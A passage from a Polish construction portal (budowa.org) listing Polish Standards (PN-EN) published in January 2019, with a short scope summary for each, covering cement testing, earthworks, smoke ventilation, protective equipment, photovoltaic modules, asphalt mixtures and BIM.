	Niniejszej normy nie stosuje się do zestawów drzwiowych i otwieralnych okien badanych zgodnie z EN 1634-1, a także nie stosuje się do ścian kurtynowych – w pełnej konfiguracji ani do ścian kurtynowych – w częściowej konfiguracji badanych zgodnie z EN 1364-3 i -4.</p>
<p>
	Nie dotyczy pustaków szklanych i kostki brukowej szklanej, ani szkła profilowego, zgodnych z EN 1051-1 i EN 572-7. Dostępne obecnie informacje są niewystarczające, żeby ustalić zasady rozszerzonego zastosowania tych wyrobów.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN 16002:2019-01 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji:</strong> 15-01-2019</p>
<p>
	Elastyczne wyroby wodochronne -- Określanie wytrzymałości na obciążenie wiatrem elastycznych wyrobów do pokryć dachowych mocowanych mechanicznie</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszym dokumencie określono metodę badania wytrzymałości na obciążenie wiatrem elastycznych wyrobów do pokryć dachowych mocowanych mechanicznie. Ocena jest ograniczona tylko do właściwości użytkowych elastycznych wyrobów mocowanych mechanicznie. Z metody wyłączone jest badanie właściwości użytkowych łączników mechanicznych i/lub połączenie łącznika mechanicznego z podłożem</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN 16907-6:2019-01 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji:</strong> 15-01-2019</p>
<p>
	Roboty ziemne -- Część 6: Roboty ziemne rekultywujące teren wykonywane w technologii refulacji</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	Niniejsza Norma Europejska dotyczy rekultywacji terenów przy użyciu materiału nasypowego wydobywanego (bagrowanego) spod wody i transportowanego hydraulicznie na miejsce wbudowania.</p>
<p>
	Zakres został ograniczony do gruntów, które wykazują właściwości wodoprzepuszczalne podczas transportu i po wbudowaniu.</p>
<p>
	Głównym celem niniejszej Normy Europejskiej jest zapewnienie że wymagania funkcjonalne i specyfikacje dla takich projektówsą w zgodzie z ograniczeniami terenowymi placu budowy i metodami budowlanymi.</p>
<p>
	Niniejsza Norma Europejska określa minimalne wymagania dotyczące danych o placu budowy, które powinny być uzyskane przed zamówieniem i etapem realizacji projektu przy zastosowaniu refulacji.</p>
<p>
	Niniejsza Norma Europejska zawiera wytyczne dotyczące wyboru sprzętu do pobierania gruntu. Poza tym, zawiera również wytyczne dotyczące wyboru złoża materiałów do pozyskiwania refulatu i osądu dotyczącego przydatności materiału do refulacji w projekcie.</p>
<p>
	Niniejsza Norma Europejska podaje wskazówki na temat w jaki sposób powinien być dobrany sprzęt do refulacji. Daje również wskazówki na temat wyboru obszaru poboru materiału oraz opinii o przydatności tego materiału do wykonania refulowanego nasypu. Niniejsza Norma Europejska proponuje ogólne zasady na temat zaprojektowania wykonania robót z użyciem refulacji oraz wytyczne monitorowania i badań kontrolnych jakości, w celu zapewnienia, że wykonany metodą refulacji nasyp będzie się charakteryzował właściwościami zgodnymi z wymaganymi określonymi przez projektanta budowli.</p>
<p>
	Niniejsza Norma Europejska nie obejmuje wydobywania spod wody i/lub relokacji materiałów skalnych, osadów górniczych, odpadów mineralnych i gruntów zanieczyszczonych.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN 16907-5:2019-01 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji:</strong> 15-01-2019</p>
<p>
	Roboty ziemne -- Część 5: Kontrola jakości</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	Niniejsza Norma Europejska zawiera zalecenia i wskazania dotyczące zapewnienia jakości i kontroli jakości robót ziemnych w ramach ogólnych prac inżynieryjnych i budowlanych. Zawiera wskazówki dotyczące technik, które należy stosować aby dać klientom, kontrahentom i projektantom pewność, że roboty ziemne zostały wykonane zgodnie z ich wymagania</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN ISO 4007:2019-01 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji:</strong> 17-01-2019</p>
<p>
	Środki ochrony indywidualnej -- Ochrona oczu i twarzy -- Terminologia</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszym dokumencie zdefiniowano i objaśniono zasadnicze terminy stosowane w obszarze ochrony indywidualnej oczu i twarzy.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN 363:2019-01 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji:</strong> 17-01-2019</p>
<p>
	Środki ochrony indywidualnej przed upadkiem z wysokości -- Indywidualne systemy chroniące przed upadkiem z wysokości</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszym dokumencie określono ogólne właściwości oraz zestawy indywidualnych systemów chroniących przed upadkiem z wysokości. Podano przykłady określonych rodzajów indywidualnych systemów ochrony przed upadkiem oraz opisano sposoby montowania komponentów w systemy.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN 12101-3:2015-10 - wersja polska</span></h4>
<p>
	<strong>Data publikacji: </strong>17-01-2019</p>
<p>
	Systemy kontroli rozprzestrzeniania dymu i ciepła -- Część 3: Wymagania techniczne dotyczące urządzeń do mechanicznego odprowadzania dymu i ciepła (wentylatorów)</p>
<p>
	<strong><span style="color:#008080;">Zakres</span></strong></p>
<p>
	W niniejszej Normie Europejskiej określono charakterystykę urządzeń do mechanicznego odprowadzania dymu i ciepła (wentylatorów), stanowiących element systemu mechanicznej wentylacji pożarowej obiektów budowlanych.</p>
<p>
	W normie podano metody badania i oceny charakterystyk wyrobu oraz kryteria oceny wyników badań.</p>
<p>
	Niniejsza Norma Europejska dotyczy:</p>
<p>
	a) wentylatorów do systemów kontroli dymu i ciepła;<br />
	b) wentylatorów strumieniowych (jet-fan) do systemu wentylacji do odprowadzania dymu i ciepła</p>
<div>
	<span> </span></div>
<h4>
	<span style="color:#ff8c00;">PN-EN ISO 4007:2019-01 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji: </strong>17-01-2019</p>
<p>
	Środki ochrony indywidualnej -- Ochrona oczu i twarzy -- Terminologia</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszym dokumencie zdefiniowano i objaśniono zasadnicze terminy stosowane w obszarze ochrony indywidualnej oczu i twarzy.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN 388+A1:2019-01 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji: </strong>18-01-2019</p>
<p>
	Rękawice chroniące przed zagrożeniami mechanicznymi</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej Normie Europejskiej określono wymagania, metody badań, znakowanie oraz informacje, które powinny być dostarczone, w odniesieniu do rękawic chroniących przed zagrożeniami mechanicznymi wskutek ścierania, przecięcia ostrzem, rozdzierania, przekłucia oraz, jeśli to dotyczy, uderzenia. Niniejsza norma jest przeznaczona do stosowania w połączeniu z EN 420. Metody badań opisane w niniejszej normie mogą mieć również zastosowanie do ochraniaczy ramion.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN 196-2:2013-11 - wersja polska</span></h4>
<p>
	<strong>Data publikacji: </strong>18-01-2019</p>
<p>
	Metody badania cementu -- Część 2: Analiza chemiczna cementu</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej Normie Europejskiej opisano metody wykonywania analizy chemicznej cementu.<br />
	W niniejszym dokumencie opisano metody wzorcowe i - w niektórych przypadkach - metodę alternatywną, którą można uznać za równoważną metodzie wzorcowej. W przypadkach spornych stosuje się tylko metody wzorcowe.</p>
<p>
	Metoda alternatywna, oparta na wykorzystaniu fluorescencyjnej metody rentgenowskiej (XRF), dotyczy zawartości SiO2, Al2O3, Fe2O3, CaO, MgO, SO3, K2O, Na2O, TiO2, P2O5, Mn2O3, SrO, Cl oraz Br. W przypadku zastosowania odpowiednich procedur kalibracyjnych i materiałów wzorcowych metoda alternatywna jest metodą równoważną metodom wzorcowym, ale nie została jeszcze zwalidowana jako procedura wzorcowa stosowana do oceny zgodności oraz w przypadku sporów. Metodę alternatywną można również stosować do oznaczania innych ważnych pierwiastków, po przeprowadzeniu odpowiednich procedur kalibracyjnych. Podstawą tej metody są perły stopionej próbki i walidacja analityczna z zastosowaniem certyfikowanych materiałów wzorcowych wraz z kryteriami wykonalności. Metodę z zastosowaniem prasowanych pastylek niestopionej próbki można uznać za równoważną, pod warunkiem że przy analitycznym wykonaniu spełnia te same kryteria.</p>
<p>
	Wszelkie inne metody można stosować, pod warunkiem że będą kalibrowane według metod wzorcowych lub uznanych międzynarodowych materiałów wzorcowych w celu wykazania ich równoważności.</p>
<p>
	W niniejszym dokumencie opisano metody, które przede wszystkim odnoszą się do cementów, ale mogą być również stosowane do składników cementu. Opisane metody można również stosować do innych materiałów, dla których w normach powołano niniejsze metody. W normach wskazano, które metody należy stosować.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN 196-6:2019-01 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji:</strong> 18-01-2019</p>
<p>
	Metody badania cementu -- Część 6: Oznaczanie stopnia zmielenia</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszym dokumencie opisano trzy metody oznaczania stopnia zmielenia cementu.</p>
<p>
	Metoda sitowa służy tylko do wykazania obecności grubych cząstek cementu. Metoda ta przede wszystkim jest odpowiednia do sprawdzania i kontrolowania procesu produkcji.</p>
<p>
	Metoda przesiewania strumieniowego wskazuje pozostałość z przesiewania i jest odpowiednia dla cząstek, które w całości przechodzą przez sito kontrolne o oczku 2,0 mm. Metoda może być stosowana do oznaczania rozkładu ziarnowego aglomeratów o bardzo drobnych cząstkach. W przypadku tej metody mogą być stosowane sita kontrolne w zakresie rozmiarów oczek np. 63 μm i 90 μm.</p>
<p>
	Za pomocą metody przepuszczalności powietrza (Blaine'a) mierzy się powierzchnię właściwą (powierzchnię odniesioną do masy) w porównaniu do powierzchni wzorca. Oznaczanie powierzchni właściwej służy głównie do kontroli równomierności procesu mielenia w zakładzie produkcyjnym. Ocena właściwości użytkowych cementu tym sposobem jest możliwa tylko w ograniczonym zakresie.</p>
<p>
	UWAGA Metoda przepuszczalności powietrza może nie dawać właściwych wyników dla cementów o wysokim stopniu rozdrobnienia.</p>
<p>
	Metody te można stosować w odniesieniu do wszystkich cementów wymienionych w EN 197-1</p>
<h4>
	<br />
	<br />
	<span style="color:#ff8c00;">PN-EN 196-11:2019-01 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji: </strong>18-01-2019</p>
<p>
	Metody badania cementu -- Część 11: Ciepło hydratacji -- Metoda izotermiczna</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej dokumencie określono aparaturę i procedurę określania ciepła hydratacji cementów i innych spoiw hydraulicznych metodą izotermiczną w różnych okresach pomiarowych.</p>
<p>
	Niniejsza procedura badawcza jest przeznaczona do pomiaru ciepła hydratacji cementu do 7 dni w celu uzyskania zgodności pomiędzy metodą izotermiczną (ICC) a EN 196-8 i EN 196-9.<br />
	Niemniej jednak, dla niektórych aparatów, czas trwania badania może być krytyczny nawet jeżeli mogą działać prawidłowo w krótszych okresach pomiarowych.</p>
<p>
	W przeciwieństwie do EN 196-8 niniejszą metodą otrzymujemy ciepło hydratacji nieprzerwanie w sposób ciągły. Dodatkowo podawany jest wzrost ciepła w funkcji czasu.</p>
<p>
	 </p>
<h4>
	<br />
	<span style="color:#ff8c00;">PN-EN 12101-2:2017-05 - wersja polska</span></h4>
<p>
	<strong>Data publikacji:</strong> 21-01-2019</p>
<p>
	Systemy kontroli rozprzestrzeniania dymu i ciepła -- Część 2: Urządzenia do grawitacyjnego odprowadzania dymu i ciepła</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	Niniejsza Norma Europejska dotyczy urządzeń do grawitacyjnego odprowadzenia dymu i ciepła (NSHEV), działających jako części systemów do odprowadzania dymu i ciepła (SHEVS) dostępnych na rynku. W niniejszej normie określono wymagania i podano metody badań urządzeń do grawitacyjnego odprowadzenia dymu i ciepła przewidzianych do instalowania w systemach kontroli rozprzestrzeniania dymu i ciepła w budynkach.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN IEC 61853-3:2019-01 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji: </strong>23-01-2019</p>
<p>
	Badanie własności modułów fotowoltaicznych (PV) i wyznaczanie ich energii znamionowej -- Część 3: Wyznaczanie znamionowej wydajności energetycznej</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	Niniejsza część IEC 61853 opisuje sposób obliczania wartości znamionowej wydajności energetycznej modułu PV. IEC 61853-1 opisuje wymagania niezbędne dla określenia wydajności modułu dla różnych temperatur i natężeń promieniowania w kontekście mocy (w watach, W). IEC 61853-2 opisuje procedury badawcze w celu wyznaczenia temperatury modułu wynikającej z natężenia promieniowania, temperatury otoczenia i prędkości wiatru, metodę pomiaru efektów związanych z kątem padania promieniowania oraz odpowiedzi widmowej. IEC 61853-4 opisuje znormalizowane wzorcowe profile klimatyczne (znormalizowany zestaw parametrów środowiskowych) wykorzystywane w celu wyznaczenia znamionowych wartości wydajności energetycznej modułu.</p>
<p>
	Celem niniejszej normy jest określenie metodologii dla wyznaczenia wyjściowej energii elektrycznej generowanej przez modułu PV (w wato-godzinach, Wh), a także całoroczną znamionową wydajność energetyczną (wartość bezwymiarowa) odpowiadającą określonym warunkom klimatycznym, przy obciążeniu modułu w punkcie mocy maksymalnej dla wzorcowego profilu(i) klimatycznego zdefiniowanego przez IEC 61853-4. Metoda ma zastosowanie dla wyznaczenia określonej wartości energii odpowiadającej znormalizowanemu, wzorcowemu profilowi klimatycznemu w celu porównania znamionowanych modułów.</p>
<p>
	Metoda nie uwzględnia postępującej w czasie degradacji ani krótkotrwałych efektów przejściowych takich jak zmiany indukowane światłem lub/i cieplne procesy starzeniowe.</p>
<p>
	Niniejszy dokument ma zastosowanie do modułów działających jednostronnie.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN IEC 61853-4:2019-01 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji:</strong> 23-01-2019</p>
<p>
	Badanie własności modułów fotowoltaicznych (PV) i wyznaczanie ich energii znamionowej -- Część 4: Znormalizowane wzorcowe profile klimatyczne</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	Niniejsza część IEC 61853 opisuje znormalizowane wzorcowe profile klimatyczne, które należy stosować w celu wyznaczania znamionowej wydajności energetycznej.</p>
<p>
	IEC 61853-1 opisuje wymagania niezbędne dla określenia wydajności modułu w sensie mocy (w watach, W). IEC 61853-2 opisuje procedury badawcze w celu wyznaczenia temperatury modułu wynikającej z natężenia promieniowania, temperatury otoczenia i prędkości wiatru, metodę pomiaru efektów związanych z kątem padania promieniowania oraz odpowiedzi widmowej.</p>
<p>
	IEC 61853-3 opisuje sposób obliczenia wartości odpowiadających znamionowej wydajności energetycznej modułu PV przy użyciu danych z części IEC 61853-1, IEC 61853-2 i IEC 61853-4.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN ISO 19014-3:2019-01 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji: </strong>24-01-2019</p>
<p>
	Maszyny do robót ziemnych -- Bezpieczeństwo funkcjonalne -- Część 3: Wymagania środowiskowe i badania elektronicznych i elektrycznych elementów stosowanych w częściach systemu sterowania związanych z bezpieczeństwem</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszym dokumencie określono minimalne wymagania badań środowiskowych elementów elektronicznych i elektrycznych identyfikowanych jako części systemu sterowania związane z bezpieczeństwem (SRP/CS) stosowanych w maszynach do robót ziemnych (EMM), jak zdefiniowano w ISO 6165 i ich osprzętu.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN 15655-1:2019-01 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji:</strong> 28-01-2019</p>
<p>
	Rury, kształtki i wyposażenie z żeliwa sferoidalnego -- Wymagania i metody badań powłok ze związków organicznych w rurach i kształtkach z żeliwa sferoidalnego -- Część 1: Powłoka poliuretanowa w rurach i kształtkach</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej normie określono wymagania i metody badań stosowane do nakładanych fabrycznie wewnętrznych poliuretanowych wysokowydajnych zabezpieczeń antykorozyjnych powlekanych rur i kształtek z żeliwa sferoidalnego zgodnych z EN 545, EN 598 i EN 969.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN 772-22:2019-01 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji: </strong>28-01-2019</p>
<p>
	Metody badań elementów murowych -- Część 22: Określenie odporności na zamrażanie-odmrażanie elementów murowych ceramicznych</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszym dokumencie opisano metodę określania odporności na zamrażanie-odmrażanie elementów murowych ceramicznych w jednej z dwóch kategorii: F1 lub F2.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN ISO 17706:2019-01 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji: </strong>28-01-2019</p>
<p>
	Obuwie -- Metody badania wierzchów -- Wytrzymałość na rozciąganie i wydłużenie</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej normie podano metodę wyznaczania siły potrzebnej do zerwania badanej próbki z wierzchów, niezależnie od materiału, w celu określenia ich przydatności do końcowego użytkowania.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN ISO 17892-10:2019-01 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji:</strong> 28-01-2019</p>
<p>
	Rozpoznanie i badania geotechniczne -- Badania laboratoryjne gruntów -- Część 10: Badania w aparacie bezpośredniego ścinania</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszym dokumencie określono dwie metody badań laboratoryjnych dla oznaczania wytrzymałości na ścinanie gruntów w warunkach z konsolidacją i pełnym drenażem z zastosowaniem aparatu bezpośredniego ścinania lub aparatu pierścieniowego.</p>
<p>
	Niniejszy dokument ma zastosowanie w laboratoryjnych badaniach dla określenia wytrzymałości na ścinanie dla gruntów poddanych bezpośredniemu ścinaniu jako element rozpoznania geotechnicznego.</p>
<p>
	Badania zawarte w niniejszym dokumencie przeprowadza się na próbkach o nienaruszonej strukturze, ponownie zagęszczanych oraz rekonstytuowanych. Procedura badania definiuje wymagania dla potrzeb określenia wytrzymałości na ścinanie próbki gruntu badanej w warunkach stałej wartości naprężenia pionowego (normalnego). Zasadniczo, aby móc określić wytrzymałość na ścinanie dla danego rodzaju gruntu zgodnie z Załącznikiem B, przeprowadza się badanie dla trzech i więcej podobnych próbek ścinanych przy różnych wartościach naprężenia pionowego.</p>
<p>
	W niniejszym dokumencie nie określono specjalnych procedur badawczych, takich jak obciążanie etapowe czy wstępne ścinanielub też badania wytrzymałości na ścinanie styku gruntu z innymi materiałami.</p>
<p>
	UWAGA Niniejszy dokument spełnia wymagania dla określania wytrzymałości na ścinanie gruntów w badaniach bezpośredniego ścinania w ramach badań geotechnicznych zgodnie z EN 1997-1 oraz EN 1997-2.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN 17192:2019-01 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji:</strong> 29-01-2019</p>
<p>
	Wentylacja budynków -- Sieć przewodów -- Przewody niemetalowe -- Wymagania i metody badań</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszej normie określono metody badań i parametry działania sztywnych lub półsztywnych przewodów niemetalowych, które są stosowane do wentylacji i klimatyzacji budynków.</p>
<p>
	Niniejsza norma nie dotyczy przewodów giętkich, takich jak przewody tekstylne, niemetalicznych przewodów spiralnych lub innych, które są objęte normą EN 13180 lub przewodów wykonanych z płyt izolacyjnych, objętych normą EN 13403. Wymagania dotyczące szczelności systemu wentylacji w budynku niemieszkalnym podano w EN 16798-3. W odniesieniu do budynków mieszkalnych niezbędne jest stosowanie przepisów krajowych.</p>
<p>
	W niniejszej normie określono metody badania sztywnych lub półsztywnych przewodów niemetalowych w warunkach laboratoryjnych. Nie określono metody badań wykonywanych na budowie. Metody badań i parametry działania dotyczą przewodów wentylacyjnych o przekroju kołowym, prostokątnym lub innym.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN ISO 9053-1:2019-01 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji:</strong> 29-01-2019</p>
<p>
	Akustyka -- Określanie oporności przepływu powietrza -- Część 1: Metoda stałego przepływu powietrza</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	Niniejsza norma podaje pomiar określania oporności przepływu powietrza, w systemie laminarnego przepływu, materiałów porowatych do zastosowań akustycznych</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN 12697-30:2019-01 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji:</strong> 31-01-2019</p>
<p>
	Mieszanki mineralno-asfaltowe -- Metody badań -- Część 30: Przygotowanie próbek zagęszczonych przez ubijanie</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	Niniejszy dokument opisuje metody formowania próbek do badań z mieszanek mineralno-asfaltowych metodą udarowego zagęszczania. Takie próbki używane są głównie do określenia gęstości objętościowej i innych parametrów technologicznych np. stabilność Marshalla i płynięcie zgodnie z EN 12697-34. Niniejszy dokument dotyczy mieszanek (zarówno tych wykonanych w laboratorium jak i tych pobranych próbek z terenu), których pozostała masa nie przekracza 15% na sicie 22,4 mm i 0% na sicie 31,5 mm</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN 12697-5:2019-01 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji:</strong> 31-01-2019</p>
<p>
	Mieszanki mineralno-asfaltowe -- Metody badań -- Część 5: Oznaczanie gęstości</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	Niniejszy dokument określa metodę badania gęstości mieszanki mineralno-asfaltowej. Określono metodę objętościową, hydrostatyczną i matematyczną. Opisane metody badań mają zastosowanie do mieszanki mineralno-asfaltowej w stanie luźnym zawierającej asfalt drogowy, asfalt modyfikowany lub inne lepiszcza bitumiczne stosowane do mieszanek mineralno-asfaltowych. Metody są odpowiednie dla materiałów bitumicznych świeżych i postarzonych.</p>
<p>
	Próbki mogą być dostarczone jako materiał w stanie luźnym lub jako materiał zagęszczony; zaleca się najpierw ten drugi rozdrobnić.</p>
<p>
	UWAGA Ogólne zalecenia wyboru metody badania gęstości mieszanki mineralno-asfaltowej są podane w Załączniku A.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN 12697-8:2019-01 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji:</strong> 31-01-2019</p>
<p>
	Mieszanki mineralno-asfaltowe -- Metody badań -- Część 8: Oznaczanie zawartości wolnej przestrzeni próbek mineralno-asfaltowych</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	Niniejszy dokument podaje procedurę obliczania objętościowych parametrów zagęszczonej próbki mieszanki mineralno-asfaltowej: zawartości wolnej przestrzeni (Va), zawartości wolnej przestrzeni w mieszance mineralnej wypełnionej lepiszczem (VFB) i zawartości wolnej przestrzeni w mieszance mineralnej wypełnionej lepiszczem i dodatkami (VFBad) w przypadku mieszanek zawierających w składzie dodatki.</p>
<p>
	Metoda jest odpowiednia dla próbek, które przygotowano w laboratorium lub próbek pobranych z nawierzchni po jej wbudowaniu i zagęszczeniu.</p>
<p>
	Te parametry objętościowe mogą być używane jako kryteria projektowe lub jako parametry oceny mieszanki po ułozeniu i zagęszczeniu na drodze.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN 13880-8:2019-01 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji:</strong> 31-01-2019</p>
<p>
	Zalewy szczelin na gorąco -- Część 8: Metoda badania zmiany masy po zanurzeniu w paliwie uszczelnień złączy odpornych na działanie paliwa</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	Niniejszy dokument opisuje metodę określania odporności uszczelnienia złącza na rozlane paliwo, poprzez obliczenie zmiany masy, po zanurzeniu w standardowym paliwie odniesienia.</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN 81-77:2019-01 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji: </strong>31-01-2019</p>
<p>
	Przepisy bezpieczeństwa dotyczące budowy i instalowania dźwigów -- Szczególne zastosowania dźwigów osobowych i towarowo-osobowych -- Część 77: Dźwigi w warunkach sejsmicznych</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	W niniejszym dokumencie określono specjalne wymagania i przepisy bezpieczeństwa do dźwigów osobowych i towarowo-osobowych, w przypadku zainstalowania ich na stałe w budynkach zgodnych z EN 1998-1 (Eurocode 8). W niniejszym dokumencie określono dodatkowe wymagania w stosunku do EN 81-20 i EN 81-50. Niniejszy dokument ma zastosowanie do nowych dźwigów osobowych i towarowo-osobowych. Jednakże, może być wykorzystany jako podstawa w celu poprawy bezpieczeństwa istniejących dźwigów osobowych i towarowo-osobowych. Niniejszy dokument nie wprowadza żadnych dodatkowych specjalnych wymagań i przepisów bezpieczeństwa dla dźwigów, które należą do 0 kategorii sejsmicznej dźwigów, jak określono w Załączniku A, Tablica A.1. Niniejszy dokument nie dotyczy innych ryzyk pochodzących od sejsmicznych zdarzeń (np. pożaru, powodzi, wybuchu).</p>
<p>
	 </p>
<h4>
	<span style="color:#ff8c00;">PN-EN ISO 19650-2:2019-01 - wersja angielska</span></h4>
<p>
	<strong>Data publikacji:</strong> 31-01-2019</p>
<p>
	Organizacja i digitalizacja informacji o budynkach i budowlach, w tym modelowanie informacji o budynku (BIM) -- Zarządzanie informacjami za pomocą modelowania informacji o budynku -- Część 2: Realizacja projektu</p>
<p>
	<span style="color:#008080;"><strong>Zakres</strong></span></p>
<p>
	Niniejszy dokument określa wymagania dla zarządzania informacją w formie procesu zarządzania, w kontekście realizacji projektu i j wymiany informacji w jej ramach, przy zastosowaniu BIM.</p>
<p>
	Niniejszy dokument można stosować do wszystkich rodzajów budynków, a także do każdego rodzaju i wielkości przedsiębiorstwa, niezależnie od wybranej strategii udzielania zamówień.</p>
<p>
	 </p>
<p>
	 </p>
<div>
	<p>
		 </p>
</div>
<hr />
<p style="text-align:right;">
	Zestawienie zostało opracowane przez Redakcję Budownictwo.org/Budowa.org<br />
	na podstawie ogólnodostępnych informacji publikowanych przez PKN</p>
<p>
	 </p>                        
                         
 
                        <div class="googleads-article">
<!-- script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script -->
<!-- vManager - w treści artykułu 2 -->
<ins class="adsbygoogle"
     style="display:block"
     data-ad-client="ca-pub-6177099932506559"
     data-ad-slot="9192484574"
     data-ad-format="auto"
     data-full-width-responsive="true"></ins>
<script>
     (adsbygoogle = window.adsbygoogle || []).push({});
</script>
                        </div>


                           
                    </div>
                    
                    <div class="text-center">
                                        </div>

                                            
                      
                        
                        
                    
                                        <div class="portal-light-background p1em mt1" itemprop="author" itemscope itemtype="https://schema.org/Person">
                        <strong>Źródło:</strong> 
                        <span itemprop="name">
                                                            <a href="http://www.pkn.pl" target="_blank">
                                                    
                            Polski Komitet Normalizacyjny                                                        
                                                            </a>
                                                    </span>
                        <br>
                    </div>
                                        
                                            <div class="nav-table tags mt05">
                            <div>Tagi:</div>    
                            <div>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=branża+budowlana" class="label label-default">branża budowlana</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=Polski+Komitet+Normalizacyjny" class="label label-default">Polski Komitet Normalizacyjny</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=Polskie+Normy" class="label label-default">Polskie Normy</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=zestawienie" class="label label-default">zestawienie</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=styczeń+2019" class="label label-default">styczeń 2019</a>
                                                            </div>
                        </div>
                                            
                        
                    <div id="fb-root"></div>
                    <!--script async defer crossorigin="anonymous" src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0" nonce="2g9iczzS"></script-->
                    
<script>
//<![CDATA[
var lx=!1;window.addEventListener("scroll",function(){(0!=document.documentElement.scrollTop&&!1===lx||0!=document.body.scrollTop&&!1===lx)&&(!function(){var e=document.createElement("script");e.type="text/javascript",e.async=!0,e.src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0";var a=document.getElementsByTagName("script")[0];a.parentNode.insertBefore(e,a)}(),lx=!0)},!0);
//]]>
</script>
                    
                    <div class="social text-center mb1">
                        <div class="fb-like" data-href="https://www.budowa.org/artykuly/szczegoly/55042_polskie-normy-dotyczace-branzy-budowlanej-styczen-2019" data-width="" data-layout="button" data-action="like" data-show-faces="false" data-share="true"></div>
                    </div>

                    
                    <div id="articles">    
                        
                    
                                    ";i:1;N;}i:1;O:25:"yii\caching\TagDependency":3:{s:4:"tags";a:2:{i:0;s:13:"article_55042";i:1;s:8:"articles";}s:4:"data";a:2:{s:32:"bcf515cb3f9b2db8409341c074e88df0";s:21:"0.13182700 1746977215";s:32:"9f4ebfa1b76d6bc6617aec9034853422";s:21:"0.22954000 1749980350";}s:8:"reusable";b:0;}}

